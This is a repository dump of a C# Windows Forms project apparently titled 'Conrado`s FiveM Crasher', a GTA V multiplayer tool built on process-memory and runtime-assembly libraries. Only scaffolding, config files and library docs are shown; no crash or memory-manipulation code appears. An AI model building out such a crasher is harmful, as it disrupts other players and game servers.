├── .gitattributes ├── .gitignore ├── FiveM.sln ├── FiveM ├── App.config ├── Communication │ ├── Message.Designer.cs │ ├── Message.cs │ └── Message.resx ├── Devices │ └── Keyboard.cs ├── Enums │ ├── KeyStates.cs │ └── StoryMode.cs ├── Fasm.NET.xml ├── FiveM.csproj ├── FodyWeavers.xml ├── FodyWeavers.xsd ├── Game │ ├── Addresses.cs │ └── MemoryReader.cs ├── Menu.Designer.cs ├── Menu.cs ├── Menu.resx ├── Modules │ └── NativeImport.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Resources │ └── Loading.gif ├── ScyllaIccon.ico ├── Utils │ └── Utils.cs ├── app.manifest └── packages.config └── README.md /.gitattributes: -------------------------------------------------------------------------------- 1 | ############################################################################### 2 | # Set default behavior to automatically normalize line endings. 3 | ############################################################################### 4 | * text=auto 5 | 6 | ############################################################################### 7 | # Set default behavior for command prompt diff. 8 | # 9 | # This is need for earlier builds of msysgit that does not have it on by 10 | # default for csharp files. 11 | # Note: This is only used by command line 12 | ############################################################################### 13 | #*.cs diff=csharp 14 | 15 | ############################################################################### 16 | # Set the merge driver for project and solution files 17 | # 18 | # Merging from the command prompt will add diff markers to the files if there 19 | # are conflicts (Merging from VS is not affected by the settings below, in VS 20 | # the diff markers are never inserted). Diff markers may cause the following 21 | # file extensions to fail to load in VS. An alternative would be to treat 22 | # these files as binary and thus will always conflict and require user 23 | # intervention with every merge. To do so, just uncomment the entries below 24 | ############################################################################### 25 | #*.sln merge=binary 26 | #*.csproj merge=binary 27 | #*.vbproj merge=binary 28 | #*.vcxproj merge=binary 29 | #*.vcproj merge=binary 30 | #*.dbproj merge=binary 31 | #*.fsproj merge=binary 32 | #*.lsproj merge=binary 33 | #*.wixproj merge=binary 34 | #*.modelproj merge=binary 35 | #*.sqlproj merge=binary 36 | #*.wwaproj merge=binary 37 | 38 | ############################################################################### 39 | # behavior for image files 40 | # 41 | # image files are treated as binary by default. 42 | ############################################################################### 43 | #*.jpg binary 44 | #*.png binary 45 | #*.gif binary 46 | 47 | ############################################################################### 48 | # diff behavior for common document formats 49 | # 50 | # Convert binary document formats to text before diffing them. This feature 51 | # is only available from the command line. Turn it on by uncommenting the 52 | # entries below. 53 | ############################################################################### 54 | #*.doc diff=astextplain 55 | #*.DOC diff=astextplain 56 | #*.docx diff=astextplain 57 | #*.DOCX diff=astextplain 58 | #*.dot diff=astextplain 59 | #*.DOT diff=astextplain 60 | #*.pdf diff=astextplain 61 | #*.PDF diff=astextplain 62 | #*.rtf diff=astextplain 63 | #*.RTF diff=astextplain 64 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Build results 17 | [Dd]ebug/ 18 | [Dd]ebugPublic/ 19 | [Rr]elease/ 20 | [Rr]eleases/ 21 | x64/ 22 | x86/ 23 | [Aa][Rr][Mm]/ 24 | [Aa][Rr][Mm]64/ 25 | bld/ 26 | [Bb]in/ 27 | [Oo]bj/ 28 | [Ll]og/ 29 | 30 | # Visual Studio 2015/2017 cache/options directory 31 | .vs/ 32 | # Uncomment if you have tasks that create the project's static files in wwwroot 33 | #wwwroot/ 34 | 35 | # Visual Studio 2017 auto generated files 36 | Generated\ Files/ 37 | 38 | # MSTest test Results 39 | [Tt]est[Rr]esult*/ 40 | [Bb]uild[Ll]og.* 41 | 42 | # NUNIT 43 | *.VisualState.xml 44 | TestResult.xml 45 | 46 | # Build Results of an ATL Project 47 | [Dd]ebugPS/ 48 | [Rr]eleasePS/ 49 | dlldata.c 50 | 51 | # Benchmark Results 52 | BenchmarkDotNet.Artifacts/ 53 | 54 | # .NET Core 55 | project.lock.json 56 | project.fragment.lock.json 57 | artifacts/ 58 | 59 | # StyleCop 60 | StyleCopReport.xml 61 | 62 | # Files built by Visual Studio 63 | *_i.c 64 | *_p.c 65 | *_h.h 66 | *.ilk 67 | *.meta 68 | *.obj 69 | *.iobj 70 | *.pch 71 | *.pdb 72 | *.ipdb 73 | *.pgc 74 | *.pgd 75 | *.rsp 76 | *.sbr 77 | *.tlb 78 | *.tli 79 | *.tlh 80 | *.tmp 81 | *.tmp_proj 82 | *_wpftmp.csproj 83 | *.log 84 | *.vspscc 85 | *.vssscc 86 | .builds 87 | *.pidb 88 | *.svclog 89 | *.scc 90 | 91 | # Chutzpah Test files 92 | _Chutzpah* 93 | 94 | # Visual C++ cache files 95 | ipch/ 96 | *.aps 97 | *.ncb 98 | *.opendb 99 | *.opensdf 100 | *.sdf 101 | *.cachefile 102 | *.VC.db 103 | *.VC.VC.opendb 104 | 105 | # Visual Studio profiler 106 | *.psess 107 | *.vsp 108 | *.vspx 109 | *.sap 110 | 111 | # Visual Studio Trace Files 112 | *.e2e 113 | 114 | # TFS 2012 Local Workspace 115 | $tf/ 116 | 117 | # Guidance Automation Toolkit 118 | *.gpState 119 | 120 | # ReSharper is a .NET coding add-in 121 | _ReSharper*/ 122 | *.[Rr]e[Ss]harper 123 | *.DotSettings.user 124 | 125 | # JustCode is a .NET coding add-in 126 | .JustCode 127 | 128 | # TeamCity is a build add-in 129 | _TeamCity* 130 | 131 | # DotCover is a Code Coverage Tool 132 | *.dotCover 133 | 134 | # AxoCover is a Code Coverage Tool 135 | .axoCover/* 136 | !.axoCover/settings.json 137 | 138 | # Visual Studio code coverage results 139 | *.coverage 140 | *.coveragexml 141 | 142 | # NCrunch 143 | _NCrunch_* 144 | .*crunch*.local.xml 145 | nCrunchTemp_* 146 | 147 | # MightyMoose 148 | *.mm.* 149 | AutoTest.Net/ 150 | 151 | # Web workbench (sass) 152 | .sass-cache/ 153 | 154 | # Installshield output folder 155 | [Ee]xpress/ 156 | 157 | # DocProject is a documentation generator add-in 158 | DocProject/buildhelp/ 159 | DocProject/Help/*.HxT 160 | DocProject/Help/*.HxC 161 | DocProject/Help/*.hhc 162 | DocProject/Help/*.hhk 163 | DocProject/Help/*.hhp 164 | DocProject/Help/Html2 165 | DocProject/Help/html 166 | 167 | # Click-Once directory 168 | publish/ 169 | 170 | # Publish Web Output 171 | *.[Pp]ublish.xml 172 | *.azurePubxml 173 | # Note: Comment the next line if you want to checkin your web deploy settings, 174 | # but database connection strings (with potential passwords) will be unencrypted 175 | *.pubxml 176 | *.publishproj 177 | 178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 179 | # checkin your Azure Web App publish settings, but sensitive information contained 180 | # in these scripts will be unencrypted 181 | PublishScripts/ 182 | 183 | # NuGet Packages 184 | *.nupkg 185 | # The packages folder can be ignored because of Package Restore 186 | **/[Pp]ackages/* 187 | # except build/, which is used as an MSBuild target. 188 | !**/[Pp]ackages/build/ 189 | # Uncomment if necessary however generally it will be regenerated when needed 190 | #!**/[Pp]ackages/repositories.config 191 | # NuGet v3's project.json files produces more ignorable files 192 | *.nuget.props 193 | *.nuget.targets 194 | 195 | # Microsoft Azure Build Output 196 | csx/ 197 | *.build.csdef 198 | 199 | # Microsoft Azure Emulator 200 | ecf/ 201 | rcf/ 202 | 203 | # Windows Store app package directories and files 204 | AppPackages/ 205 | BundleArtifacts/ 206 | Package.StoreAssociation.xml 207 | _pkginfo.txt 208 | *.appx 209 | 210 | # Visual Studio cache files 211 | # files ending in .cache can be ignored 212 | *.[Cc]ache 213 | # but keep track of directories ending in .cache 214 | !?*.[Cc]ache/ 215 | 216 | # Others 217 | ClientBin/ 218 | ~$* 219 | *~ 220 | *.dbmdl 221 | *.dbproj.schemaview 222 | *.jfm 223 | *.pfx 224 | *.publishsettings 225 | orleans.codegen.cs 226 | 227 | # Including strong name files can present a security risk 228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 229 | #*.snk 230 | 231 | # Since there are multiple workflows, uncomment next line to ignore bower_components 232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 233 | #bower_components/ 234 | 235 | # RIA/Silverlight projects 236 | Generated_Code/ 237 | 238 | # Backup & report files from converting an old project file 239 | # to a newer Visual Studio version. Backup files are not needed, 240 | # because we have git ;-) 241 | _UpgradeReport_Files/ 242 | Backup*/ 243 | UpgradeLog*.XML 244 | UpgradeLog*.htm 245 | ServiceFabricBackup/ 246 | *.rptproj.bak 247 | 248 | # SQL Server files 249 | *.mdf 250 | *.ldf 251 | *.ndf 252 | 253 | # Business Intelligence projects 254 | *.rdl.data 255 | *.bim.layout 256 | *.bim_*.settings 257 | *.rptproj.rsuser 258 | *- Backup*.rdl 259 | 260 | # Microsoft Fakes 261 | FakesAssemblies/ 262 | 263 | # GhostDoc plugin setting file 264 | *.GhostDoc.xml 265 | 266 | # Node.js Tools for Visual Studio 267 | .ntvs_analysis.dat 268 | node_modules/ 269 | 270 | # Visual Studio 6 build log 271 | *.plg 272 | 273 | # Visual Studio 6 workspace options file 274 | *.opt 275 | 276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 277 | *.vbw 278 | 279 | # Visual Studio LightSwitch build output 280 | **/*.HTMLClient/GeneratedArtifacts 281 | **/*.DesktopClient/GeneratedArtifacts 282 | **/*.DesktopClient/ModelManifest.xml 283 | **/*.Server/GeneratedArtifacts 284 | **/*.Server/ModelManifest.xml 285 | _Pvt_Extensions 286 | 287 | # Paket dependency manager 288 | .paket/paket.exe 289 | paket-files/ 290 | 291 | # FAKE - F# Make 292 | .fake/ 293 | 294 | # JetBrains Rider 295 | .idea/ 296 | *.sln.iml 297 | 298 | # CodeRush personal settings 299 | .cr/personal 300 | 301 | # Python Tools for Visual Studio (PTVS) 302 | __pycache__/ 303 | *.pyc 304 | 305 | # Cake - Uncomment if you are using it 306 | # tools/** 307 | # !tools/packages.config 308 | 309 | # Tabs Studio 310 | *.tss 311 | 312 | # Telerik's JustMock configuration file 313 | *.jmconfig 314 | 315 | # BizTalk build output 316 | *.btp.cs 317 | *.btm.cs 318 | *.odx.cs 319 | *.xsd.cs 320 | 321 | # OpenCover UI analysis results 322 | OpenCover/ 323 | 324 | # Azure Stream Analytics local run output 325 | ASALocalRun/ 326 | 327 | # MSBuild Binary and Structured Log 328 | *.binlog 329 | 330 | # NVidia Nsight GPU debugger configuration file 331 | *.nvuser 332 | 333 | # MFractors (Xamarin productivity tool) working folder 334 | .mfractor/ 335 | 336 | # Local History for Visual Studio 337 | .localhistory/ 338 | 339 | # BeatPulse healthcheck temp database 340 | healthchecksdb -------------------------------------------------------------------------------- /FiveM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30804.86 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FiveM", "FiveM\FiveM.csproj", "{687EB8B6-85C0-4A5C-8706-B68AF2C66674}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Debug|x64 = Debug|x64 12 | Release|Any CPU = Release|Any CPU 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 17 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Debug|Any CPU.Build.0 = Debug|Any CPU 18 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Debug|x64.ActiveCfg = Debug|x64 19 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Debug|x64.Build.0 = Debug|x64 20 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Release|Any CPU.ActiveCfg = Release|x64 21 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Release|Any CPU.Build.0 = Release|x64 22 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Release|x64.ActiveCfg = Release|x64 23 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674}.Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {D3CD256D-2EA2-42AE-8503-3F2A53EBE20E} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /FiveM/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /FiveM/Communication/Message.Designer.cs: -------------------------------------------------------------------------------- 1 |  2 | namespace FiveM.Communication { 3 | partial class Message { 4 | /// 5 | /// Required designer variable. 6 | /// 7 | private System.ComponentModel.IContainer components = null; 8 | 9 | /// 10 | /// Clean up any resources being used. 11 | /// 12 | /// true if managed resources should be disposed; otherwise, false. 13 | protected override void Dispose(bool disposing) { 14 | if(disposing && (components != null)) { 15 | components.Dispose(); 16 | } 17 | base.Dispose(disposing); 18 | } 19 | 20 | #region Windows Form Designer generated code 21 | 22 | /// 23 | /// Required method for Designer support - do not modify 24 | /// the contents of this method with the code editor. 25 | /// 26 | private void InitializeComponent() { 27 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Message)); 28 | this.materialLabel1 = new MaterialSkin.Controls.MaterialLabel(); 29 | this.SuspendLayout(); 30 | // 31 | // materialLabel1 32 | // 33 | this.materialLabel1.Depth = 0; 34 | this.materialLabel1.Font = new System.Drawing.Font("Roboto Medium", 14F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Pixel); 35 | this.materialLabel1.FontType = MaterialSkin.MaterialSkinManager.fontType.Subtitle2; 36 | this.materialLabel1.Location = new System.Drawing.Point(6, 70); 37 | this.materialLabel1.MouseState = MaterialSkin.MouseState.HOVER; 38 | this.materialLabel1.Name = "materialLabel1"; 39 | this.materialLabel1.Size = new System.Drawing.Size(388, 109); 40 | this.materialLabel1.TabIndex = 0; 41 | this.materialLabel1.Text = resources.GetString("materialLabel1.Text"); 42 | this.materialLabel1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; 43 | // 44 | // Message 45 | // 46 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); 47 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 48 | this.ClientSize = new System.Drawing.Size(400, 182); 49 | this.Controls.Add(this.materialLabel1); 50 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); 51 | this.MaximizeBox = false; 52 | this.Name = "Message"; 53 | this.Opacity = 0.95D; 54 | this.Sizable = false; 55 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; 56 | this.Text = "[ ? ] What it does?"; 57 | this.TopMost = true; 58 | this.Load += new System.EventHandler(this.Message_Load); 59 | this.ResumeLayout(false); 60 | 61 | } 62 | 63 | #endregion 64 | 65 | private MaterialSkin.Controls.MaterialLabel materialLabel1; 66 | } 67 | } -------------------------------------------------------------------------------- /FiveM/Communication/Message.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using MaterialSkin.Controls; 3 | 4 | namespace FiveM.Communication { 5 | public partial class Message : MaterialForm { 6 | public Message() { 7 | InitializeComponent(); 8 | } 9 | 10 | private void Message_Load(object sender, EventArgs e) { 11 | 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /FiveM/Devices/Keyboard.cs: -------------------------------------------------------------------------------- 1 | using FiveM.Enums; 2 | using FiveM.Modules; 3 | using System.Windows.Forms; 4 | 5 | namespace FiveM.Devices { 6 | class Keyboard { 7 | 8 | private static KeyStates GetKeyState(Keys key) { 9 | KeyStates state = KeyStates.None; 10 | 11 | short retVal = NativeImport.GetKeyState((int)key); 12 | 13 | if((retVal & 0x8000) == 0x8000) 14 | state |= KeyStates.Down; 15 | 16 | if((retVal & 1) == 1) 17 | state |= KeyStates.Toggled; 18 | 19 | return state; 20 | } 21 | 22 | public static bool IsKeyDown(Keys key) { 23 | return KeyStates.Down == (GetKeyState(key) & KeyStates.Down); 24 | } 25 | 26 | public static bool IsKeyToggled(Keys key) { 27 | return KeyStates.Toggled == (GetKeyState(key) & KeyStates.Toggled); 28 | } 29 | 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /FiveM/Enums/KeyStates.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace FiveM.Enums { 4 | 5 | [Flags] 6 | enum KeyStates { 7 | None = 0, 8 | Down = 1, 9 | Toggled = 2 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /FiveM/Enums/StoryMode.cs: -------------------------------------------------------------------------------- 1 | namespace FiveM.Enums { 2 | 3 | //Story Mode Characters 4 | enum Characters : long { 5 | Player_One = 2602752943, 6 | Player_Two = 2608926626, 7 | Player_Zero = 225514697 8 | }; 9 | 10 | } -------------------------------------------------------------------------------- /FiveM/Fasm.NET.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | "Fasm.NET" 5 | 6 | 7 | 8 | 9 | Gets the mnemonics. 10 | 11 | 12 | 13 | 14 | Inserts the text representation of the specified array of objects, followed by the current line terminator at the specified character position. 15 | 16 | The position in this instance where insertion begins. 17 | The composite format string. 18 | The array of objects to write using format. 19 | 20 | Inserts the text representation of the specified array of objects, followed by the current line terminator at the specified character position. 21 | 22 | The position in this instance where insertion begins. 23 | The composite format string. 24 | The array of objects to write using format. 25 | 26 | 27 | 28 | Removes all characters from the current instance. 29 | 30 | 31 | Removes all characters from the current instance. 32 | 33 | 34 | 35 | 36 | Assembles the mnemonics with a given origin address. 37 | 38 | The address used as starting address for the assebmly code. 39 | 40 | Assembles the mnemonics with a given origin address. 41 | 42 | The address used as starting address for the assebmly code. 43 | 44 | 45 | 46 | Assembles the mnemonics. 47 | 48 | 49 | Assembles the mnemonics. 50 | 51 | 52 | 53 | 54 | Adds the text representation of the specified array of objects, followed by the current line terminator. 55 | 56 | The composite format string. 57 | The array of objects to write using format. 58 | 59 | Adds the text representation of the specified array of objects, followed by the current line terminator. 60 | 61 | The composite format string. 62 | The array of objects to write using format. 63 | 64 | 65 | 66 | Initializes a new instance of the class. 67 | 68 | The memory size allocated for the buffer. 69 | The maximum number of pass to perform. 70 | 71 | Initializes a new instance of the class. 72 | 73 | The memory size allocated for the buffer. 74 | The maximum number of pass to perform. 75 | 76 | 77 | 78 | Initializes a new instance of the class. 79 | 80 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 81 | 82 | Initializes a new instance of the class. 83 | 84 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 85 | 86 | 87 | 88 | Assembles the specified files by appending them. 89 | 90 | The path of the files to assemble. 91 | The memory size allocated for the buffer. 92 | The maximum number of pass to perform. 93 | 94 | Assembles the specified files by appending them. 95 | 96 | The path of the files to assemble. 97 | The memory size allocated for the buffer. 98 | The maximum number of pass to perform. 99 | 100 | 101 | 102 | Assembles the specified files by appending them. 103 | 104 | The path of the files to assemble. 105 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 106 | 107 | Assembles the specified files by appending them. 108 | 109 | The path of the files to assemble. 110 | The memory size allocated for the buffer. 111 | The maximum number of pass to perform. 112 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 113 | 114 | 115 | 116 | Assembles the specified file. 117 | 118 | The path of the file to assemble. 119 | The memory size allocated for the buffer. 120 | The maximum number of pass to perform. 121 | 122 | Assembles the specified file. 123 | 124 | The path of the file to assemble. 125 | The memory size allocated for the buffer. 126 | The maximum number of pass to perform. 127 | 128 | 129 | 130 | Assembles the specified file. 131 | 132 | The path of the file to assemble. 133 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 134 | 135 | Assembles the specified file. 136 | 137 | The path of the file to assemble. 138 | The memory size allocated for the buffer. 139 | The maximum number of pass to perform. 140 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 141 | 142 | 143 | 144 | Assembles the given mnemonics. 145 | 146 | The array containing mnemonics to assemble. 147 | The memory size allocated for the buffer. 148 | The maximum number of pass to perform. 149 | 150 | Assembles the given mnemonics. 151 | 152 | The array containing mnemonics to assemble. 153 | The memory size allocated for the buffer. 154 | The maximum number of pass to perform. 155 | 156 | 157 | 158 | Assembles the given mnemonics. 159 | 160 | The array containing mnemonics to assemble. 161 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 162 | 163 | Assembles the given mnemonics. 164 | 165 | The array containing mnemonics to assemble. 166 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 167 | 168 | 169 | 170 | Assembles the given mnemonics. 171 | 172 | The mnemonics to assemble. 173 | The memory size allocated for the buffer. 174 | The maximum number of pass to perform. 175 | 176 | Assembles the given mnemonics. 177 | 178 | The mnemonics to assemble. 179 | The memory size allocated for the buffer. 180 | The maximum number of pass to perform. 181 | 182 | 183 | 184 | Assembles the given mnemonics. 185 | 186 | The mnemonics to assemble. 187 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 188 | 189 | Assembles the given mnemonics. 190 | 191 | The mnemonics to assemble. 192 | The default memory size used is 4096 bytes and the maximum number of pass is 100. 193 | 194 | 195 | 196 | Gets the version of FASM compiler. 197 | 198 | 199 | Gets the version of FASM compiler. 200 | 201 | 202 | 203 | 204 | The maximum number of pass to perform. 205 | 206 | 207 | 208 | 209 | The memory size allocated for the buffer. 210 | 211 | 212 | 213 | 214 | The mnemonics inserted by the user. 215 | 216 | 217 | 218 | 219 | The managed wrapper to interfact with FASM compiler. 220 | 221 | 222 | 223 | 224 | The following structure resides at the beginning of memory block provided 225 | to the fasm_Assemble function. The condition field contains the same value 226 | as the one returned by function. 227 | 228 | When function returns FASM_OK condition, the output_length and 229 | output_data fields are filled - with pointer to generated output 230 | (somewhere within the provided memory block) and the count of bytes stored 231 | there. 232 | 233 | When function returns FASM_ERROR, the error_code is filled with the 234 | code of specific error that happened and error_line is a pointer to the 235 | LINE_HEADER structure, providing information about the line that caused 236 | the error. 237 | 238 | 239 | 240 | 241 | The following structure has two variants - it either defines the line 242 | that was loaded directly from source, or the line that was generated by 243 | macroinstruction. First case has the highest bit of line_number set to 0, 244 | while the second case has this bit set. 245 | 246 | In the first case, the file_path field contains pointer to the path of 247 | source file (empty string if it's the source that was provided directly to 248 | fasm_Assemble function), the line_number is the number of line within 249 | that file (starting from 1) and the file_offset field contains the offset 250 | within the file where the line starts. 251 | 252 | In the second case the macro_calling_line field contains the pointer to 253 | LINE_HEADER structure for the line which called the macroinstruction, and 254 | the macro_line field contains the pointer to LINE_HEADER structure for the 255 | line within the definition of macroinstruction, which generated this one. 256 | 257 | 258 | 259 | 260 | The native function to get the version of FASM compiler embedded in Fasm.obj. 261 | 262 | The return valus is a double word containg major version in lower 16 bits, and minor version in the higher 16 bits. 263 | 264 | 265 | 266 | Initializes a new instance of the class. 267 | 268 | The error code. 269 | The line where is the error. 270 | The offset within the file where the line starts. 271 | The assembled mnemonics when the error occurred. 272 | 273 | Initializes a new instance of the class. 274 | 275 | The error code. 276 | The line where is the error. 277 | The offset within the file where the line starts. 278 | The assembled mnemonics when the error occurred. 279 | 280 | 281 | 282 | The assembled mnemonics when the error occurred. 283 | 284 | 285 | 286 | 287 | The offset within the file where the line starts. 288 | 289 | 290 | 291 | 292 | The line where is the error. 293 | 294 | 295 | 296 | 297 | The error code. 298 | 299 | 300 | 301 | 302 | The private field containing the assembled mnemonics when the error occurred. 303 | 304 | 305 | 306 | 307 | The private field containing the offset within the file where the line starts. 308 | 309 | 310 | 311 | 312 | The private field containing the line where is the error. 313 | 314 | 315 | 316 | 317 | The private field containing the error code. 318 | 319 | 320 | 321 | 322 | The exception that is thrown when a FASM compiler error occurs. 323 | 324 | 325 | 326 | 327 | The enumeration containing all errors of FASM compiler. 328 | 329 | 330 | 331 | 332 | The enumeration containing all results of FASM compiler. 333 | 334 | 335 | 336 | 337 | -------------------------------------------------------------------------------- /FiveM/FiveM.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {687EB8B6-85C0-4A5C-8706-B68AF2C66674} 9 | WinExe 10 | FiveM 11 | Conrado`s FiveM Crasher 12 | v4.8 13 | 512 14 | true 15 | true 16 | 17 | 18 | publish\ 19 | true 20 | Disk 21 | false 22 | Foreground 23 | 7 24 | Days 25 | false 26 | false 27 | true 28 | 0 29 | 1.0.0.%2a 30 | false 31 | false 32 | true 33 | 34 | 35 | AnyCPU 36 | true 37 | full 38 | false 39 | bin\Debug\ 40 | DEBUG;TRACE 41 | prompt 42 | 4 43 | 44 | 45 | AnyCPU 46 | pdbonly 47 | true 48 | bin\Release\ 49 | TRACE 50 | prompt 51 | 4 52 | 53 | 54 | 55 | 56 | 57 | 58 | app.manifest 59 | 60 | 61 | true 62 | bin\x64\Debug\ 63 | DEBUG;TRACE 64 | full 65 | x64 66 | 7.3 67 | prompt 68 | true 69 | 70 | 71 | bin\x64\Release\ 72 | TRACE 73 | true 74 | pdbonly 75 | x64 76 | 7.3 77 | prompt 78 | true 79 | 80 | 81 | ScyllaIccon.ico 82 | 83 | 84 | 85 | ..\packages\Costura.Fody.5.1.0\lib\netstandard1.0\Costura.dll 86 | 87 | 88 | ..\packages\Fasm.NET.1.70.03\lib\Fasm.NET.dll 89 | 90 | 91 | ..\packages\MaterialSkin.2.2.1.4\lib\net461\MaterialSkin.dll 92 | 93 | 94 | ..\packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll 95 | True 96 | True 97 | 98 | 99 | ..\packages\Process.NET.1.0.8\lib\Process.NET.dll 100 | 101 | 102 | 103 | ..\packages\System.AppContext.4.3.0\lib\net463\System.AppContext.dll 104 | True 105 | True 106 | 107 | 108 | 109 | ..\packages\System.Console.4.3.0\lib\net46\System.Console.dll 110 | True 111 | True 112 | 113 | 114 | 115 | ..\packages\System.Diagnostics.DiagnosticSource.4.3.0\lib\net46\System.Diagnostics.DiagnosticSource.dll 116 | 117 | 118 | ..\packages\System.Diagnostics.Tracing.4.3.0\lib\net462\System.Diagnostics.Tracing.dll 119 | True 120 | True 121 | 122 | 123 | ..\packages\System.Globalization.Calendars.4.3.0\lib\net46\System.Globalization.Calendars.dll 124 | True 125 | True 126 | 127 | 128 | ..\packages\System.IO.4.3.0\lib\net462\System.IO.dll 129 | True 130 | True 131 | 132 | 133 | ..\packages\System.IO.Compression.4.3.0\lib\net46\System.IO.Compression.dll 134 | True 135 | True 136 | 137 | 138 | 139 | ..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll 140 | True 141 | True 142 | 143 | 144 | ..\packages\System.IO.FileSystem.4.3.0\lib\net46\System.IO.FileSystem.dll 145 | True 146 | True 147 | 148 | 149 | ..\packages\System.IO.FileSystem.Primitives.4.3.0\lib\net46\System.IO.FileSystem.Primitives.dll 150 | True 151 | True 152 | 153 | 154 | ..\packages\System.Linq.4.3.0\lib\net463\System.Linq.dll 155 | True 156 | True 157 | 158 | 159 | ..\packages\System.Linq.Expressions.4.3.0\lib\net463\System.Linq.Expressions.dll 160 | True 161 | True 162 | 163 | 164 | ..\packages\System.Net.Http.4.3.0\lib\net46\System.Net.Http.dll 165 | True 166 | True 167 | 168 | 169 | ..\packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll 170 | True 171 | True 172 | 173 | 174 | 175 | ..\packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll 176 | True 177 | True 178 | 179 | 180 | ..\packages\System.Runtime.4.3.0\lib\net462\System.Runtime.dll 181 | True 182 | True 183 | 184 | 185 | ..\packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll 186 | True 187 | True 188 | 189 | 190 | ..\packages\System.Runtime.InteropServices.4.3.0\lib\net463\System.Runtime.InteropServices.dll 191 | True 192 | True 193 | 194 | 195 | ..\packages\System.Runtime.InteropServices.RuntimeInformation.4.3.0\lib\net45\System.Runtime.InteropServices.RuntimeInformation.dll 196 | True 197 | True 198 | 199 | 200 | ..\packages\System.Security.Cryptography.Algorithms.4.3.0\lib\net463\System.Security.Cryptography.Algorithms.dll 201 | True 202 | True 203 | 204 | 205 | ..\packages\System.Security.Cryptography.Encoding.4.3.0\lib\net46\System.Security.Cryptography.Encoding.dll 206 | True 207 | True 208 | 209 | 210 | ..\packages\System.Security.Cryptography.Primitives.4.3.0\lib\net46\System.Security.Cryptography.Primitives.dll 211 | True 212 | True 213 | 214 | 215 | ..\packages\System.Security.Cryptography.X509Certificates.4.3.0\lib\net461\System.Security.Cryptography.X509Certificates.dll 216 | True 217 | True 218 | 219 | 220 | ..\packages\System.Security.Principal.Windows.4.7.0\lib\net461\System.Security.Principal.Windows.dll 221 | 222 | 223 | ..\packages\System.Text.RegularExpressions.4.3.0\lib\net463\System.Text.RegularExpressions.dll 224 | True 225 | True 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | ..\packages\System.Xml.ReaderWriter.4.3.0\lib\net46\System.Xml.ReaderWriter.dll 237 | True 238 | True 239 | 240 | 241 | 242 | 243 | Form 244 | 245 | 246 | Message.cs 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | Form 255 | 256 | 257 | Menu.cs 258 | 259 | 260 | 261 | 262 | 263 | 